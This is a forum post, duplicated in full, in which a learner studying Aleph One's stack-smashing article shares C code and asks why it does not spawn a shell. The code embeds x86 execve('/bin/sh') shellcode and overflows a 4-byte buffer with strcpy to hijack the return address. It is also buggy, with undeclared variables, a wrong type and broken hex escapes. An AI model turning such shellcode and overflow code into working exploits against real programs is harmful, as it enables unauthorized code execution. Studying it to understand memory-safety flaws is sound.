Hi!
I have been reading this article 'Smashing The Stack For Fun And Profit' by Aleph1 for some time,and of course because you can't learn anything in programing
if you don't start writing the code,I've decided to play with some of the examples
in the article.
And so I've got this:
#include <stdio.h>
#define BUFF_SIZE 24
char shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c \xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void function(char* large_str)
{
//int* ret; // [A]
// ret = (int*) &ret +2; // [A]
// *ret = (int*)shellcode; // [A]
char small_buff[4]; // [B]
strcpy(buf,large_str); //[B]
}
int main()
{
int buff[BUFF_SIZE];
for(int i = 0; i < BUFF_SIZE ;i++)
buff[i] = (int)shellcode;
function((char*)buff);
return 0;
}
The thing is,when I run this program,it does not execute the shell ,
it just exits normaly.
of course ,when you remove the comment in [A] lines ,and put the comment
ont [B] lines it works cool.
So, can anybody tell me what is the problem with this code?
It fairly simple and I don't see why it shouldn't be working.
Thank you.
I have been reading this article 'Smashing The Stack For Fun And Profit' by Aleph1 for some time,and of course because you can't learn anything in programing
if you don't start writing the code,I've decided to play with some of the examples
in the article.
And so I've got this:
#include <stdio.h>
#define BUFF_SIZE 24
char shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c \xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void function(char* large_str)
{
//int* ret; // [A]
// ret = (int*) &ret +2; // [A]
// *ret = (int*)shellcode; // [A]
char small_buff[4]; // [B]
strcpy(buf,large_str); //[B]
}
int main()
{
int buff[BUFF_SIZE];
for(int i = 0; i < BUFF_SIZE ;i++)
buff[i] = (int)shellcode;
function((char*)buff);
return 0;
}
The thing is,when I run this program,it does not execute the shell ,
it just exits normaly.
of course ,when you remove the comment in [A] lines ,and put the comment
ont [B] lines it works cool.
So, can anybody tell me what is the problem with this code?
It fairly simple and I don't see why it shouldn't be working.
Thank you.
Comment